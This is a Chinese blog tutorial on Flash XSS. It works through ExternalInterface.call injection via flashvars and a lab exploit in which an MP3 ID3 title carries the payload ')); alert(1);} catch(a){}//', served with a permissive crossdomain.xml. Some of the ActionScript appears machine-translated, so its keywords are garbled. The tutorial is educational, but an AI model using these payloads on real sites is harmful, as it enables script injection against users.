0x01 Flash XSS

xss一是指执行恶意js,那么为什么说flash xss呢?是因为flash有可以调用js的函数,也就是可以和js通信,因此这些函数如果使用不当就会造成xss。常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie等等

0x02 ExternalInterface.call举例

AS中ExternalInterface类是用来和js通信的,调用方法是用来调用js函数的,函数原型

  1. ExternalInterface.callfunctionName:字符串,...参数):*
  2.  
  3. fuctionName:要调用的JavaScript的函数名
  4.  
  5. 参数:参数,可选

函数具体用法请参考

http://help.adobe.com/zh_CN/FlashPlatform/reference/actionscript/3/flash/external/ExternalInterface.html

如下AS代码

  1. {import flash.display.Sprite; import flash.external.ExternalInterface; 公共类XSSTest扩展了Sprite
  2.  
  3. {public function XSSTest()
  4.  
  5. {var jsFunctionString = loaderInfo.parameters.jsFunction; var paramString =“abc”;
  6.  
  7. ExternalInterface.calljsFunctionparam);
  8.  
  9. }
  10.  
  11. }
  12.  
  13. }

这里通过flashvars传递了一个参数,是js的函数。这种方式比较常见,swf可以做成通用,放到不同的业务中使用,每次只需要传入对应的js函数即可。但是,这里就存在漏洞了。

在浏览器中,构造URL:

  1. XSSTest.swf jsFunction =alert(/xss/)

访问SWF,并以获取参数的形式传入Flash变数,造成了 XSS

0×03实践

这是一个简单的网页,里边有flash做的MP3播放器。

我们先黑盒看一下:

查看网络

加载了swf,查看源码

看到MP3参数传递的是MP3文件。我们尝试从URL传递参数访问http://192.168.6.2/_files/XSSC1.swf?mp3=../1.mp3

看控制台,有奇怪的输出。

把MP3文件下载下来分析一下

http://192.168.6.2/1.mp3

保存下来

右键属性看摘要

这个文件的标题就是console的输出,由此我们推测为文件里源码有调用js函数console.log(“MP3的标题”) ;

既然是教程,那我们就白盒看一下这个SWF的源码:

  1. {
  2.  
  3. import flash.events。*;
  4.  
  5. import flash.display。*;
  6.  
  7. import flash.media。*;
  8.  
  9. import flash.external。*;
  10.  
  11. import flash.net。*;
  12.  
  13. import flash.system。*;
  14.  
  15. 公共类XSSC1扩展Sprite {
  16.  
  17. private var m:声音;
  18.  
  19. 公共功能XSSC1(){
  20.  
  21. var mp3:* = null;
  22.  
  23. var host:* = null;
  24.  
  25. var u:* = null;
  26.  
  27. var context:* = null;
  28.  
  29. 超();
  30.  
  31. var p:* = this.loaderInfo.parameters;
  32.  
  33. if((“mp3in p)){
  34.  
  35. mp3 = p [“mp3”];
  36.  
  37. host =((mp3.match(/ ^(https?:\ / \ / [^ \\\ /] +)/))||([“”,“”]))[1];
  38.  
  39. Security.loadPolicyFile((host +“/ crosdomain.xml”));
  40.  
  41. u = new URLRequestmp3);
  42.  
  43. context = new SoundLoaderContext1000true);
  44.  
  45. m = new Sound();
  46.  
  47. m.load(你,上下文);
  48.  
  49. m.play();
  50.  
  51. m.addEventListenerEvent.ID3functioneEvent):void {
  52.  
  53. if((m.id3中的“songName”)){
  54.  
  55. ifExternalInterface.available){
  56.  
  57. 迹(m.id3.songName);
  58.  
  59. ExternalInterface.call(“console.log”,m.id3.songName);
  60.  
  61. };
  62.  
  63. };
  64.  
  65. });
  66.  
  67. };
  68.  
  69. }
  70.  
  71. }
  72.  
  73. }//包

那么,我们本地搭建web服务器,构造MP3标题即可触发xss。

首先我们本地创建的Web服务器根目录

把刚才下载的MP3复制进去,然后创建crossdomain.xml的文件,内容

  1. <?xml version =“1.0”?>
  2.  
  3. <! - http://www.foo.com/crossdomain.xml - >
  4.  
  5. <!DOCTYPE跨域策略系统“http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd”>
  6.  
  7. <跨域策略>
  8.  
  9. <allow-access-from domain =“*”/>
  10.  
  11. <site-control allowed-cross-domain-policies =“all”/>
  12.  
  13. <allow-http-request-headers-from domain =“*”headers =“*”/>
  14.  
  15. </跨域策略>

然后我们修改1.MP3的标题为\“)); alert(1);} catch(a){} //,右键属性

在cmd 里切换到web 目录,执行C:\ Python27 \ python -m SimpleHTTPServer 80 开启web 服务器

然后访问http://192.168.6.2/_files/XSSC1.swf?mp3=http://192.168.5.66/1.mp3

成功XSS

Flash XSS漏洞快速上手的更多相关文章

  1. Flash XSS 漏洞详解 根治的好办法

    本文的目的是深层次的分析Flash的ExternalInterface的XSS漏洞,并提出比较有效的解决方案.   首先,我们看看什么情况下,会出现XSS.   第一种情况:        把flas ...

  2. Flash XSS 漏洞实例

    www.bsdxm.com/zeroclipboard/ZeroClipboard.swf?id=\"))}catch(e){alert(/xss/);}//&width=500&a ...

  3. Java应对Flash XSS攻击

    问题引出: 今天公司派出安全任务,说是要解决一个Flash XSS攻击,一看顿时傻眼,都没听说过.而且flash已经淘汰了,根本没研究过flash,搜了资料才开始慢慢开始工作. 要求: 1.过滤URL ...

  4. 快速、直接的XSS漏洞检测爬虫 – XSScrapy

    XSScrapy是一个快速.直接的XSS漏洞检测爬虫,你只需要一个URL,它便可以帮助你发现XSS跨站脚本漏洞. XSScrapy的XSS漏洞攻击测试向量将会覆盖 Http头中的Referer字段 U ...

  5. 快速找出网站中可能存在的XSS漏洞实践

    笔者写了一些XSS漏洞的挖掘过程记录下来,方便自己也方便他人. 一.背景 在本篇文章当中会一permeate生态测试系统为例,笔者此前写过一篇文章当中笔者已经讲解如何安装permeate渗透测试系统, ...

  6. 快速找出网站中可能存在的XSS漏洞实践(一)

    一.背景 笔者最近在慕课录制了一套XSS跨站漏洞 加强Web安全视频教程,课程当中有讲到XSS的挖掘方式,所以在录制课程之前需要做大量实践案例,最近视频已经录制完成,准备将这些XSS漏洞的挖掘过程记录 ...

  7. Atitit. Xss 漏洞的原理and应用xss木马

    Atitit. Xss 漏洞的原理and应用xss木马 1. XSS漏洞1 2. XSS的用途2 2.1. 盗取cookie2 2.2. 刷新流量 刷分3 2.3. DOS 窃取隐私”.“假冒身份”. ...

  8. XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析

    2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...

  9. 为什么主流网站无法捕获 XSS 漏洞?

    二十多年来,跨站脚本(简称 XSS)漏洞一直是主流网站的心头之痛.为什么过了这么久,这些网站还是对此类漏洞束手无策呢? 对于最近 eBay 网站曝出的跨站脚本漏洞,你有什么想法?为什么会出现这样的漏网 ...

随机推荐

  1. Java相关PDF书籍与教程免费下载

    场景 我的CSDN: https://blog.csdn.net/BADAO_LIUMANG_QIZHI 我的博客园: https://www.cnblogs.com/badaoliumangqizh ...

  2. 基于Arduino和Blynk平台的远程控制智能小车

    /------转载请附上本文链接 https://i.cnblogs.com/EditArticles.aspx?opt=1 -------啦啦啦我是快乐的分割线- ------------/ 小车图 ...

  3. 浅谈DanmakuView

      今天简单介绍一下开源的弹幕引擎---danmakuView   使用之前在build.gradle里面添加下面这一条(目前我使用的工具是AndroidStudio 3.1.2)   impleme ...

  4. shell编写一键启动

    #!/bin/bashAPP_NAME=bonade-uaac-service-0.0.1-SNAPSHOT.jarusage() { echo "Usage: sh 执行脚本.sh [st ...

  5. MOOC C++笔记(五):继承

    第五周:继承 继承和派生的基本概念 继承:在定义一个新的类B时,如果该类与某个个已有的类A相似(指的是B拥有A的全部特点),那么就可以把A作为一个基类,而把B作为基类的一个派生类(也称子类). 派生类 ...

  6. mysql隔离级别的测试

    mysql提供四种隔离级别,以下分别对四种隔离级别进行测试,更加直观清晰的了解.具体的隔离级别以及其他相关介绍见https://www.cnblogs.com/eric-fang/p/11052304 ...

  7. python 课后习题 猜数游戏

    4.1 猜数游戏.在程序中预设一个0~9之间的整数,让用户通过键盘输入所猜数字,如果大于预设的数,显示“遗憾,太大了”:如果小于预设的数,显示“遗憾,太小了”:如此循环,直至猜到该数,显示“预测N次, ...

  8. java Swing 界面化查询数据库表

    两天从0基础写的.没有按钮对话框功能,只是简单的实现. 当然代码上有很多需要优化的,基本需要重写哈哈哈.但是我怕以后有需要所以还是存一下好了.<把RS结果集,放vector里面,用vector构 ...

  9. 重学JavaScript之面向对象的程序设计(继承)

    1. 继承 ES 中只支持实现继承,而且其实现继承主要依靠原型链来实现的. 2. 原型链 ES中 描述了 原型链的概念,并将原型链作为实现继承的主要方法.其基本思想是利用原型让一个引用类型继承另一个引 ...

  10. shiro使用注解(@RequiresPermissions等)不无效及异常处理

    1.注解不生效 在shiro配置类中加上如下代码: /** * Shiro生命周期处理器 */ @Bean(name = "lifecycleBeanPostProcessor") ...